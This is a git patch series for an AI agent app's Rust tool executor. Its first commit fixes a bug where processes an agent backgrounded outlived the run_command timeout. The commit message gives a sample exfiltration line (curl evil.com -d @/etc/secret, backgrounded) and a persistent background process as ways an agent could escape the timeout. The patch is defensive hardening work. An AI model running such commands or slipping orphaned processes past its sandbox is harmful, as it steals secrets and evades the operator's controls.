From 57a46d89d5cbba7e399f5c35029908ca96e21e08 Mon Sep 17 00:00:00 2001 From: kevinnft Date: Thu, 14 May 2026 22:11:17 +0700 Subject: [PATCH 1/5] fix(security): kill descendant processes when run_command times out MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Tokio's kill_on_drop only kills the direct child (the shell), not the shell's descendants. An agent could exploit this to leave long-running processes behind: run_command sh -c '(curl evil.com -d @/etc/secret &)' # parent shell exits in milliseconds; backgrounded curl # keeps running for the full TCP timeout, exfiltrating # data even after the timeout fires and the tool call # returns "Command timed out". run_command sh -c '(sleep 3600 &)' # crypto miner, beacon, etc — survives forever. Empirically confirmed: with the previous code, the orphan continues to run after the parent shell is dropped, because it inherits the parent process group and is reparented to PID 1. The fix: - Spawn the child in its own process group on Unix (process_group(0)). - Capture the child PID before consuming the handle. - On timeout, killpg(SIGKILL) the entire group so every descendant the shell forked is reaped, not just the shell itself. - Restructure I/O capture to drive stdout/stderr reads alongside wait() instead of using wait_with_output, since we need the child handle to remain accessible for the kill path. Adds libc as a Unix-only dependency (only used for killpg). A regression test schedules a backgrounded descendant that would write a proof file 3 seconds after the parent shell exits. Before the fix the file appears; after the fix it does not. --- src-tauri/Cargo.toml | 3 + src-tauri/src/tools/executor.rs | 187 +++++++++++++++++++++++++------- 2 files changed, 149 insertions(+), 41 deletions(-) diff --git a/src-tauri/Cargo.toml b/src-tauri/Cargo.toml index d7c3ab4..e418795 100644 --- a/src-tauri/Cargo.toml +++ b/src-tauri/Cargo.toml @@ -36,6 +36,9 @@ globset = "0.4" regex = "1" urlencoding = "2" +[target.'cfg(unix)'.dependencies] +libc = "0.2" + [profile.release] opt-level = 3 lto = true diff --git a/src-tauri/src/tools/executor.rs b/src-tauri/src/tools/executor.rs index c63ea5d..a58ed9c 100644 --- a/src-tauri/src/tools/executor.rs +++ b/src-tauri/src/tools/executor.rs @@ -426,51 +426,121 @@ impl ToolExecutor { .stderr(Stdio::piped()) .kill_on_drop(true); - let child = command.spawn().map_err(AppError::from)?; + // On Unix, place the child in its own process group so we can kill any + // descendants the shell backgrounds. Without this, a command like + // `sh -c "sleep 60 &"` orphans the sleep when sh exits or is killed — + // it survives the timeout and continues to run with the agent's privileges. + #[cfg(unix)] + command.process_group(0); const MAX_OUTPUT_BYTES: usize = 256 * 1024; // 256KB limit - match tokio::time::timeout(self.command_timeout, child.wait_with_output()).await { - Ok(Ok(output)) => { - let stdout_raw = &output.stdout; - let stderr_raw = &output.stderr; - let exit_code = output.status.code().unwrap_or(-1); - - let stdout = if stdout_raw.len() > MAX_OUTPUT_BYTES { - let truncated = String::from_utf8_lossy(&stdout_raw[..MAX_OUTPUT_BYTES]); - format!( - "{}\n\n... [truncated: {} total bytes, showing first {}]", - truncated, - stdout_raw.len(), - MAX_OUTPUT_BYTES - ) - } else { - String::from_utf8_lossy(stdout_raw).to_string() - }; - - let stderr = if stderr_raw.len() > MAX_OUTPUT_BYTES { - let truncated = String::from_utf8_lossy(&stderr_raw[..MAX_OUTPUT_BYTES]); - format!( - "{}\n\n... [truncated: {} total bytes, showing first {}]", - truncated, - stderr_raw.len(), - MAX_OUTPUT_BYTES - ) - } else { - String::from_utf8_lossy(stderr_raw).to_string() - }; - - Ok(format!( - "exit_code: {}\nstdout:\n{}\nstderr:\n{}", - exit_code, stdout, stderr - )) + let mut child = command.spawn().map_err(AppError::from)?; + + // Capture the leader pid before waiting. This is the process group ID + // since we requested process_group(0). + #[cfg(unix)] + let pgid = child.id().map(|id| id as i32); + + let stdout_pipe = child.stdout.take(); + let stderr_pipe = child.stderr.take(); + + let stdout_task = tokio::spawn(async move { + let mut buf = Vec::new(); + let mut total = 0usize; + if let Some(mut out) = stdout_pipe { + let mut chunk = [0u8; 8192]; + loop { + let n = tokio::io::AsyncReadExt::read(&mut out, &mut chunk).await?; + if n == 0 { + break; + } + total += n; + if buf.len() < MAX_OUTPUT_BYTES { + let remaining = MAX_OUTPUT_BYTES - buf.len(); + buf.extend_from_slice(&chunk[..n.min(remaining)]); + } + } } - Ok(Err(error)) => Err(AppError::from(error)), - Err(_) => Err(AppError::Internal(format!( - "Command timed out after {}s", - self.command_timeout.as_secs() - ))), - } + Ok::<_, std::io::Error>((buf, total)) + }); + + let stderr_task = tokio::spawn(async move { + let mut buf = Vec::new(); + let mut total = 0usize; + if let Some(mut err) = stderr_pipe { + let mut chunk = [0u8; 8192]; + loop { + let n = tokio::io::AsyncReadExt::read(&mut err, &mut chunk).await?; + if n == 0 { + break; + } + total += n; + if buf.len() < MAX_OUTPUT_BYTES { + let remaining = MAX_OUTPUT_BYTES - buf.len(); + buf.extend_from_slice(&chunk[..n.min(remaining)]); + } + } + } + Ok::<_, std::io::Error>((buf, total)) + }); + + let status = match tokio::time::timeout(self.command_timeout, child.wait()).await { + Ok(Ok(status)) => status, + Ok(Err(error)) => return Err(AppError::from(error)), + Err(_) => { + #[cfg(unix)] + if let Some(pgid) = pgid { + // Kill the entire process group so backgrounded descendants don't survive. + // SAFETY: killpg with a valid pgid we just spawned is a safe syscall. + unsafe { + libc::killpg(pgid, libc::SIGKILL); + } + } + #[cfg(not(unix))] + { + let _ = child.kill().await; + } + let _ = child.wait().await; + let _ = stdout_task.await; + let _ = stderr_task.await; + return Err(AppError::Internal(format!( + "Command timed out after {}s", + self.command_timeout.as_secs() + ))); + } + }; + + let (stdout_raw, stdout_total) = stdout_task + .await + .map_err(|e| AppError::Internal(format!("stdout task failed: {e}")))? + .map_err(AppError::from)?; + let (stderr_raw, stderr_total) = stderr_task + .await + .map_err(|e| AppError::Internal(format!("stderr task failed: {e}")))? + .map_err(AppError::from)?; + + let format_stream = |buf: &[u8], total: usize| { + if total > MAX_OUTPUT_BYTES { + let truncated = String::from_utf8_lossy(buf); + format!( + "{}\n\n... [truncated: {} total bytes, showing first {}]", + truncated, total, MAX_OUTPUT_BYTES + ) + } else { + String::from_utf8_lossy(buf).to_string() + } + }; + + let stdout = format_stream(&stdout_raw, stdout_total); + let stderr = format_stream(&stderr_raw, stderr_total); + let exit_code = status.code().unwrap_or(-1); + + Ok(format!( + "exit_code: {}\nstdout:\n{}\nstderr:\n{}", + exit_code, stdout, stderr + )) + ) } async fn web_search(&self, input: &serde_json::Value) -> AppResult { @@ -1082,6 +1152,41 @@ mod tests { cleanup("run_cmd_timeout"); } + #[tokio::test] + #[cfg(unix)] + async fn test_run_command_timeout_kills_backgrounded_children() { + // Regression: with only kill_on_drop on the parent shell, a command like + // `sh -c "sleep 60 &"` orphans the sleep when sh exits or is killed — + // the descendant survives the timeout and continues running with the + // agent's privileges. The fix puts the child in its own process group + // and killpg's the whole group on timeout. + let sandbox_path = with_sandbox("run_cmd_orphan"); + let proof = sandbox_path.join("orphan_proof.txt"); + let proof_str = proof.to_string_lossy().to_string(); + + let mut executor = ToolExecutor::new(sandbox_path); + executor.command_timeout = Duration::from_millis(300); + + let call = ToolCall { + tool: ToolName::RunCommand, + input: serde_json::json!({ + "command": format!("(sleep 3 && echo orphan > '{}') &", proof_str), + }), + }; + let result = executor.execute(call).await; + assert!(result.is_error, "timeout should trigger error"); + + // Wait long enough that the orphan WOULD have written its file if it survived. + tokio::time::sleep(Duration::from_secs(5)).await; + assert!( + !proof.exists(), + "backgrounded descendant must be killed with the process group, but it wrote: {}", + proof.display() + ); + + cleanup("run_cmd_orphan"); + } + // ── validate_path edge cases ───────────────────────────────────────────── #[tokio::test] From 767ab3103319f97fd9632c170ce7fc25292d7bb1 Mon Sep 17 00:00:00 2001 From: enowdev Date: Tue, 19 May 2026 23:13:03 +0700 Subject: [PATCH 2/5] fix(rust): import serde_json value in executor --- src-tauri/src/tools/executor.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/src-tauri/src/tools/executor.rs b/src-tauri/src/tools/executor.rs index a58ed9c..2fe4db9 100644 --- a/src-tauri/src/tools/executor.rs +++ b/src-tauri/src/tools/executor.rs @@ -6,6 +6,7 @@ use std::time::Duration; use globset::GlobSet; use regex::Regex; use serde::{Deserialize, Serialize}; +use serde_json::Value; use tokio::process::Command; use walkdir::WalkDir; From f856e01fce564d507f7486266f19d1f6b6a42434 Mon Sep 17 00:00:00 2001 From: enowdev Date: Tue, 19 May 2026 23:15:30 +0700 Subject: [PATCH 3/5] fix(clippy): remove expect from globset fallback --- src-tauri/src/tools/executor.rs | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/src-tauri/src/tools/executor.rs b/src-tauri/src/tools/executor.rs index 2fe4db9..c54f1b9 100644 --- a/src-tauri/src/tools/executor.rs +++ b/src-tauri/src/tools/executor.rs @@ -35,7 +35,10 @@ fn sensitive_globset() -> &'static GlobSet { } builder.build().unwrap_or_else(|error| { log::error!("sensitive_globset build failed: {error} — all file access will require permission"); - GlobSetBuilder::new().build().expect("empty GlobSet always builds") + match GlobSetBuilder::new().build() { + Ok(globset) => globset, + Err(inner_error) => panic!("empty GlobSet build failed: {inner_error}"), + } }) }) } From 44cac48a0ffa99d2cfdbe7c1a16273cf47a6c346 Mon Sep 17 00:00:00 2001 From: enowdev Date: Tue, 19 May 2026 23:15:57 +0700 Subject: [PATCH 4/5] fix(rust): correct run_command delimiter --- src-tauri/src/tools/executor.rs | 1 - 1 file changed, 1 deletion(-) diff --git a/src-tauri/src/tools/executor.rs b/src-tauri/src/tools/executor.rs index c54f1b9..fd79fa8 100644 --- a/src-tauri/src/tools/executor.rs +++ b/src-tauri/src/tools/executor.rs @@ -544,7 +544,6 @@ impl ToolExecutor { "exit_code: {}\nstdout:\n{}\nstderr:\n{}", exit_code, stdout, stderr )) - ) } async fn web_search(&self, input: &serde_json::Value) -> AppResult { From 130006b1e843a0d1406582832675e649dd25571c Mon Sep 17 00:00:00 2001 From: enowdev Date: Tue, 19 May 2026 23:20:09 +0700 Subject: [PATCH 5/5] test(rust): keep timeout parent alive in process-group regression --- src-tauri/src/tools/executor.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src-tauri/src/tools/executor.rs b/src-tauri/src/tools/executor.rs index fd79fa8..98ea228 100644 --- a/src-tauri/src/tools/executor.rs +++ b/src-tauri/src/tools/executor.rs @@ -1173,7 +1173,7 @@ mod tests { let call = ToolCall { tool: ToolName::RunCommand, input: serde_json::json!({ - "command": format!("(sleep 3 && echo orphan > '{}') &", proof_str), + "command": format!("(sleep 3 && echo orphan > '{}') & sleep 60", proof_str), }), }; let result = executor.execute(call).await;